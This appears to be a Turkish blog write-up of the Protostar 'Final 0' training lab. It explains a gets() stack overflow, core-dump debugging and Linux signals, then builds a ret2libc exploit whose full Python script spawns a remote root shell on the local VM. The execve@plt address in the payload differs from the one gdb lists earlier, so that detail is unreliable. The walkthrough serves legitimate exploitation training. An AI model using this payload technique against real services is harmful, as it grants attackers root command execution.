Avatar
Ben Süleyman ERGEN. Siber güvenlik benim alanımdır. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Protostar Final 0 Writeup

Protostar Final 0 Writeup

Herkese merhabalar. Bu yazdımda Portostar Final 0 sorusunun çözümünü yapmaya çalışacağım.

Kaynak Kod

Kaynak kodu inceleyerek başlayalım.

#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  username = get_username();
  
  printf("No such user %s\n", username);
}

İlk baştaki satırda bazı sabit tanımlamaları görüyoruz. port, uid, gud ve program adı tanımlanmış.

Main fonksiyonunda ise arka planda bir çalışan bir servis başlattığını söyleyebiliriz. Bu servis socket aktivitelerini takip ediyor ve gelen bağlantıları kabul ediyor. Ardından get_username fonksiyonu çalışıyor ve dönen değer username değişkenine atanıyor. Daha sonra ise bu değer yazdırılıyor. Şimdi programı ps komutu ile bulalım.

user@protostar:~$ ps aux | grep final0
root      1338  0.0  0.0   1532   272 ?        Ss   12:35   0:00 /opt/protostar/bin/final0
user      1504  0.0  0.0   3268   640 pts/0    S+   12:44   0:00 grep final0

Program şu anda 1338 pid ile arka plan da çalışıyor. Aynı işlemi netstat komutu ile de doğrulayabiliriz.

root@protostar:/home/user# sudo netstat -lptv
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
................................................................................................
tcp        0      0 *:2995                  *:*                     LISTEN      1338/final0     
................................................................................................

Şimdi ise get_username fonksiyonunu inceleyelim. Öncelikle bazı değişken tanımlamaları yapıyor ve 512 karakter uzunluğunda bir dizi oluşturuyor. Ardından bu dizi memset(buffer, 0, sizeof(buffer)); satırı ile tamamen 0 yada null byte ile dolduruluyor. Daha sonra gets fonksiyonu ile bir değer okuyor. Bu fonksiyonun man sayfasına bakalım.

final0

Buradan gets fonksiyonunun uzunluk kontrolü yapmadığını ve bu yüzden asla kullanılmaması gerektiğini söylüyor. Bizim örneğimizde buffer için 512 byte uzunluk ayırmıştık. Fakat gets ile okuma yaptığımız için kullanıcı yada saldırgan 512 byte dan daha fazla veri girerek bellek taşması zafiyetini kullanabilir. Bu durumda bu saldırgan biz oluyoruz :)

Devam eden satırlarda yeni satır karakterlerini null byte ile değiştiren satırları görüyoruz.

/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;

strchr fonksiyonu bir string içerisinde bir karakterin ilk geçtiği yerin adresini döndürür. Burada ise string içerisindeki ilk "\n" ve "\r" değerlerinin null byte ile değiştirildiğini görüyoruz.

Bir sonraki satırlarda ise şunları görüyoruz.

/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
	buffer[i] = toupper(buffer[i]);
}

Bu satırlar kısaca şunu yapıyor: Öncelikle strlen ile string uzunluğu belirleniyor. strlen bu işlemi yaparken hesaplamayı ilk null byta kadar yapıyor. eğer bizim stringimiz içerisinde birden fazla null byte var ise strlen sadece ilkine kadar olan kısmı hesaplayacak. String boyutu bulunduktan sonra ise döngü başlayılıyor. Döngü ilerisinde ise küçük karakterler toupper fonksiyonu ile büyük karaktere dönüştürülüyor.

Fonksiyon sonlanmadan önce buffer strdup ile yeni bir kopyası oluşturuluyor ve bu değer göri dönülüyor. Ardından main fonksiyonunun sonunda ise yazdırılıyor.

Çalıştıralım

Buraya kadar tamamsa programa nc ile bağlanıp test etmeye başlayalım. Bağlandıktan sonra "a" karakterleri gönderiyorum.

root@protostar:/home/user# nc localhost 2995
aaaaaaaaaaaaaaaaaaaaa
No such user AAAAAAAAAAAAAAAAAAAAA

Bu şekilde gönderdikten sonra gönderdiğimiz verinin büyük harf karşılığı yazdırıldı. Beklediğimiz gibi. Şimdi ise çok daha büyük bir uzunlukta bir veri gönderelim. Ben yaklaşık 1000 tane a göndereceğim.

root@protostar:/home/user# python -c 'print "a"*1000' | nc localhost 2995
root@protostar:/home/user#

Gördüğünüz üzere program herhangi bir şey döndürmeden sonrandı. Peki burada ne oldu. Hemen kaynak koda tekrar geri dönelim.

get_username fonksiyonu içerisinde gets fonksiyonu ile veri okuyorduk. Biz normalde ayrılan 512 bayttan çok daha fazlasını gönderdiğimiz için get_username fonksiyonunta hata meydana geldi ve program burada sonrandı.

username = get_username();

printf("No such user %s\n", username);

Yani get_username fonksiyonu geri dönemediği için bu fonksiyonun altındaki printf çalışmadı ve biz bir çıktı alamadık. Buffer overflow doğrulandı.

Peki bu durumda biz bu programı nasıl debug edeceğiz ???

Debugging

Şimdi en başa dönelim. yani protostarın başına. Yani protostarın açıklamalarına. Evet en baş.

final0

Burada core dosyalarının normalin aksine core tmp altında bulundğunu bize gösteriyor. Şimdi tmp dizinini listeleyelim.

root@protostar:/home/user# ls -al /tmp/
total 80
drwxrwxrwt  2 root root     60 Jun 28 13:40 .
drwxr-xr-x 26 root root    180 Jun 28 12:35 ..
-rw-------  1 root root 159744 Jun 28 13:40 core.11.final0.1556

Biz az önce programın crash olmasını yani çökmesini sağlamıştık. Bu çökme sonrası tmp altına core dosyası oluştu. Peki ne bu core dosyaları.

Core Dosyaları

Man sayfalarından başlayalım.

final0

Varsayılan sonucu programı sonlandırmak olan sinyaller tetiklendiği zaman Linux kerneli programın sonlandığı andaki belleğin bir kopyasını alır. Yani program bir nedenden dolayı sonlandığı zaman, sonlandığı andaki stack durumu, register durumu ve heap bellek alanları bir dosyaya kaydedilir diyebiliriz. Bu dosya daha sonradan debugging yani hata ayıklama için kullanılabilir.

Program bir sinyal ile sonlandırılır demiştik. Bu sinyal denen şey nedir hemen bakalım.

Sinyaller

Hemen sinyallerin man sayfasına bakıyorum. man 7 signal

final0

Linux'un posix sinyallerini desteklediğini söylüyor. Fakat sinyalin ne olduğunu söylemiyor.

Kısaca sinyaller işletim sistemi tarafından yada işlemci gibi low level sistem tarafından processlere gönderilen sinyallerdir. Sinyaller ile bir programın çalışması değiştirilebilir, sonlandırılabilir yada zorla durdurulabilir.

Şimdi Linux sistemlerde tanımlanan standart sinyallere bakalım. Burada liste oldukça uzun. Ben biraz kısalttım. Ayrıca içlerinden çok kullanılanları ve önemli gördüklerimi işaretledim.

final0

SIGILL illegal instruction yani işlemci tarafından tanınmayan bir makine komutunun çalıştırılmaya çalışıldığını belirtir. Normal şartlarda işlemcide cmp, add, mov gibi makine komutları çalışır. Fakat herhangi bir durumda işlemci tarafından çalıştırılması mümkün olmayan bir veri geldiğinde işlemci çalışmaya devam edemez. Bu durumda SIGILL sinyalini üretir. Bu sinyalden sonra çalışan process in core dump dosyası oluşturulur ve kaydedilir, program sonlandırılır.

Siz protostar makinelerini çözerken eip registerine stack üzerinde bir adres yazdığınız zaman ve yazdığınız adres makine komutu olmadığı zaman bu sinyal üretilir. Şimdi çaktınız mı :)

SIGINT interrupt from keyboard klavyeden gelen kesme sinyalidir. Linux sistemlerde cat gibi bir program çalıştırdığınızda ve programdan çıkmak istediğinizde CTRL+C tuş kombinasyonunu kullanırsınız dimi. Terminali kapatmazsınız. Bu durumda üresilen sinyal SIGINT sinyalidir. Çalışan program bu sinyali aldıktan sonra sonlandırılır. Aşağıdaki örnekte "^C" yazdığı satır benim "ctrl+c" yapıp SIGINT ürettiğim satırdır.

final0

Bazı programlarda CTRL+C yapsanız dahi programın sonlanmadığını görebilirsiniz. pthhon interactive shelli buna örnektir. Burada ise program sinyali yakalıyor ve default işlemin aksine kendi yapmak istediği işlemi tanımlıyor. Yani bazı sinyallerin default davranışları değiştirilebilir.

Aynı şekilde gdb de sinyalleri kullanarak bazı işlemler yapar. Normalde SIGINT sinyalinin varsayılan davranışı programı sonlandırmaktır. Fakat gdb de biz bir programı çalıştırdığımız zaman, program çalışırken (mesela gets input beklerken) CTRL+C yaptığımız zaman gdb bu sinyali yakalar, programı sonlandırmak yerine programı duraklatır ve gdb menüsüne geri döner. Bu sayede programın herhangi bir yerinde biz programı inceleyebiliriz ve ardından programı kaldığı yerden çalışmasına devam ettirebiliriz.

final0

Bu örnekte "^C" yani ctrl+c ye bastığım anda gdb sinyali yakaladı ve programı duraklattı. Sonlandırmadı.

SIGKILL kill signal Bir processi sonlandırmak için kullanılan sinyaldir. Bir programa yada processe SIGKILL gönderdiğiniz zaman program sonlanır. Net. Çünkü bu sinyal program tarafıdan yakalanamaz ve işlenemez.

SIGSEGV invalid memory reference En sevdiğimiz sinyal türü. Bu sinyal processin ulaşmaması gereken yada tanımlı olmayan bir bellek adresine ulaşmaya çalıştığı zaman üretilir.

Buffer overflow soruları çözerken bufferi "A" karakterleri ile doldurup programı izlediğimiz zaman gdb de SIGSEGV yazısını görürüz ve adres olarak ise 0x41414141 görürürüz. Yani "AAAA" diye bir adrese ulaşmaya çalışıyor. Tabikide böyle bir adres yok. Ve program burada paylıyor.

SIGSTOP stop process bir processi sonlandırmak istediğimiz zaman kullanılan sinyaldir.

Man dökümanının biraz altında şu yazıyı görüyoruz.

The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored.

Yani SIGKILL ve SIGSTOP yakalanamaz, engellenemez ve görmezden gelinemez. Bir bir programı zorla sonlandırmak istediğimizde bu sinyallerden birini kullanabiliriz.

NOT Sinyaller kullanıdığınız donanıma yada işletim sitemine göre değişiklik gösterebilir. Yani intel işlemcilerinde kullanılan sinyaller ile amd işlemcilerinde kullanılan sinyaller farklı olabilir.

Core Dosyaları İle Debugging

Core dosyaları ve sinyaller hakkında biraz bilgimiz olduğuna göre debugging işlemine başlayabiliriz.

Gdb ile binary dosyasını ve aynı anda core dump dosyasını açabiliyoruz. Komut ise şu şekilde.

$ gdb binary_dosyasi core_dump_dosyasi

Protostar makinesindeki core dosyaları tmp dizini altındaydı. O zaman final0 ile core dosyasını beraber açalım. Ben öncelikle 700 tane "A" ile progmın çökmesini sağlıyorum. Ardından core dosyasını açıyorum.

final0

Bu anda tahmin edebileceğiniz üzere 0x41414141 ler "AAAA" ya karşılık geliyor. Tabikide böyle bir adres olmadığı için işlemci SIGSEGV sinyalini üretiyor ve program sonlanıyor.

Aynı şekilde core dosyası ile stack ve heap bellek alanlarını, register durumlarını da inceleyebiliriz.

final0

Artık gerekli herşeye sahibiz. Şimdi exploit aşamasına geçelim.

Exploit

Öncelikle stack boyutunu bulmamız gerekiyor. Fakat burada ufak bir problemimiz var. Programda get_username fonksiyonunda bizim girdiğimiz string toupper fonsiyonu ile büyük karaktere dönüştürülüyor. Hali ile bu durumda stacke yazdığımız veriler değişecektir. Yada biz stack boyutunu bulmaya çalışırken verimiz değişeceği için bizi uğraştırabilir.

Bu noktada gets ve strlen fonksiyon davranışlarını araştırarak bu sorunu bypass edebiliriz. gets fonksiyonu newline karakterine kadar veri okur. Yani null byte geldiği zaman okumana devam eder durmaz. strlen ise string boyutunu bulurken null byta kadar hesaplar. Daha fazlasını hesaplamaz. Burdan yola çıkarak: biz string içerisine null byte yerleştirirsek toupper fonksiyonu aşabiliriz. Şu şekide yapıyorum.

root@protostar:/tmp# python -c 'print "a"*500 + "\x00" + "b"*100' | nc localhost 2995
root@protostar:/tmp# gdb -q /opt/protostar/bin/final0 core.11.final0.1734 
Reading symbols from /opt/protostar/bin/final0...done.
..................................................................
..................................................................
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()

Gördüğünüz üzere eip registeri 62626262 şeklinde. 62 ise hex olarak "b" karakterine karşılık geliyor. Yani "B" değil. Buda demek oluyor ki strlen fonksiyonunu bypass etmeyi başardık.

Şimdi stack boyutunu bulalım. Ben bu noktada biraz manuel gideceğim. Şu şekilde stringimi oluşturuyorum. Ve oluşan core dosyasını gdb ile açıyorum.

root@protostar:/tmp# python -c 'print "a"*512 + "\x00" + "aaaabbbbccccddddeeeeffffgggghhhh"' | nc localhost 2995
root@protostar:/tmp# gdb -q /opt/protostar/bin/final0 core.11.final0.1766 
Reading symbols from /opt/protostar/bin/final0...done.
........................................................
........................................................
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x66666665 in ?? ()

0x66666665 sayısına dikkat ederseniz "efff" ye karşılık geliyor. Biz ise exploitimizde buraya eip üzerine yazmak istediğimiz fonksiyonun adresini koyacağız.

Eğer siz bir tool araç ile uğraşmadan gitmek isterseniz pwntools kullanabilirsiniz. Pwntools isminde python ile yazılmış, exploit geliştirmek için kullanılan güzel bir araçtır. Pwntools içerisinde yer alan cyclic ve cyclic_find fonksiyonları ile bu işlemi rahatlıkla yapabilirsiniz.

cyclic ile kendini tekrar etmeyen string ler üretebilirsiniz. BU sayede 4 karakter içerisinde tam konumunu bulabilirsiniz. Bu fonksiyonun ilk parametresine string uzunluğunu girmeniz gerekiyor. 700 karakter bizim için yeterli olacaktır. cyclic default olarak küçük harfleri kullanır. Bizim örneğimizde küçük harfleri kullanamadığımız için 2. parametrede alfabe olarak büyük karakterleri veriyorum. Böylece bu sorunuda aşmış olacağız.

>>> cyclic(700, alphabet=string.ascii_uppercase)
'AAAABAAACAAAD..........................XAAGYAAG'

Bu ürettiğimiz stringi programa ilettiğimizde ve core dump dosyasını gdb de açtığımızda segfoult hatasını göreceğiz ve ulaşmaya çalıştığı adres olarak 0x46414149 göreceğiz. Bunu cyclic_find ile arattığımızda stack boyutumuzu bulmuş oluruz.

>>> cyclic_find(0x46414149, alphabet=string.ascii_uppercase)
532

Şimdi bir sonraki aşamaya geçelim.

Ret2libc

Exploit işleminde ben ret2libc tekniğini kullanacağım. Normalde stack üzerine shellcode yerleştirip o shellkodun bulunduğu yere atlayama çalışabiliriz. Fakat stack adresleri her zaman aynı kalmadığı için güvenli olmayacaktır. Bu durumda ret2libc daha güvenli bir teknik.

Libc içerisinde ise komut çalıştırabileceğimiz fonksiyonlar mevcut. Bunlardan bazıları system ve execve. Ben bu örnekte execve kullanacağım.

Man dökümantasyonundan parametreler ile ilgili bilgi alalım.

final0

İlk parametremiz çalıştırmak istediğimiz program. Bizim için "/bin/sh" olmalı. Sonuçta amacımız shell almak. İkincisi ve üçüncüsü ise ortam parametreler ve ortam değişkenleri. Bizim örneğimizde kullanmamıza gerek olmadığı için null yani 0 olabilir.

Gdb ile execve nin program içerisindeki adresini şu şekilde bulabiliriz.

(gdb) info functions @plt
All functions matching regular expression "@plt":
.................................................
0x080482fc  execve@plt
.................................................

Şimdi ise libc içerisinden "/bin/sh" stingini bulmak. strings komutu ile bunuda bulabiliriz.

root@protostar:/tmp/e# strings -a -t x /lib/libc.so.6  | grep /bin/sh
 11f3bf /bin/sh

Burada -a parametresi ile bütün dosyayı aramasını belirtiyoruz. -t x ise offset değerinin hex olarak yazdırılmasını belirtiyoruz. Daha sonra grep ile filtreleme yapıyoruz.

"/bin/sh" stringinin libc içerisindeki yerini bulmuş olduk. Fakat libc nin program içerisine nereden yüklendiğini bilmiyoruz. Bunu bulmak için programın maps dosyasını okuyabiliriz. Öncelikle final0 programının pid sini buluyorum. Ardından bu process in maps alanını okuyorum. Yani bellek adreslerini.

final0

Gdb den info proc maps komutunu girdiğinizdede aynı çıktı ile karşılaşacaksınız. Gdb de bu dosya üzerinden bellek alanlarını okur.

Çıktıya dikkat ederseniz libc 0xb7e97000 adresinden başlayarak yükleniyor. Libc buradan başladığına göre ve "/bin/sh" libx içerisinde 0x11f3bf adresinde olduğuna göre bu ikisini toplarsak "/bin/sh" ın programımız içerisindeki yerini buluruz.

Hemen test edelim:

root@protostar:/tmp/e# gdb -p `pidof final0`
...........................................
(gdb) x/s 0xb7fb63bf
0xb7fb63bf:	 "/bin/sh"

Şimdi explotimizi oluşturmaya başlayalım. Öncelikle socket ve bağlanma işlemlerini yapıyorum.

import socket
from struct import pack

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 2995))

Ardından stack alanını dolduruyorum ve eip üzerine yazacağımız adresi veriyorum.

payload  = "a"*512 + "\x00" + "aaaabbbbccccddddeee" # stack
payload += pack("I", 0x08048c0c) # execve@plt

Bu noktada execve fonksiyonu çalışacak. Burada bilmemiz gereken bir kaç şey var. execve fonksiyonu cağrıldığında bu fonksiyonun dönüş adresi stacke yazılmalı fakat biz eip registerini değiştirdiğimiz için bu durum otomatik yapılmıyor. Bu yüzden kendimiz return adresini stacke yazmamız gerekiyor.

payload += "AAAA" # execve return adresi, önemli değil

Ardından execve parametreleri.

payload += pack("I", 0xb7fb63bf) # /bin/sh
payload += pack("I", 0) # null
payload += pack("I", 0) # null

Bu şekilde yaploadı hazırladıktan sonra artık socket ile gönderme zamanı.

s.send(payload + "\n")

Buradaki newline yani "\n" önemli çünkü gets fonksiyonu bu karaktere kadar okuma yapıyor. Bu karakteri görmez ise okumaya devam ediyor. Benim gibi newline nı unutursanız çok canınız yanar :)

Şu durumda execve çalıştı. Şimdi ise istediğimiz komutları göndererek komut çalıştırabiliriz.

s.send("id\n")
print s.recv(1024)
s.send("uname -a\n")
print s.recv(1024)

Çıktıyı merak mı ediyorsunuz.

$ python2 final0.py 
uid=0(root) gid=0(root) groups=0(root)

Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

Evet artık sunucu makinede komut çalıştırabiliyoruz. Peki ama benim interactive shellim nerede. Bunun için telnetlib paketini kullanabiliriz. Telnet protokolü interactive iletişim kurmak için kullanılan bir protokoldür. Bizde bu saydede interactive shell almış olacağız.

import telnetlib
t = telnetlib.Telnet()
t.sock = s # socket
t.interact()

Full exploit kodu şu şekilde:

#!encoding:utf-8
import socket
from struct import pack
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 2995))

payload  = "a"*512 + "\x00" + "aaaabbbbccccddddeee" # stack
payload += pack("I", 0x08048c0c) # execve@plt
payload += "AAAA" # execve return adresi, önemli değil
payload += pack("I", 0xb7fb63bf) # /bin/sh
payload += pack("I", 0) # null
payload += pack("I", 0) # null

s.send(payload + "\n")

t = telnetlib.Telnet()
t.sock = s
t.interact()

EOF

Bir yazınında sonuna geldik. Umarım faydalı olmuştur. Bir hatam olduysa bana twitter üzerinden ulaşabilirisiniz. Daha sonra görüşmek üzere …

all tags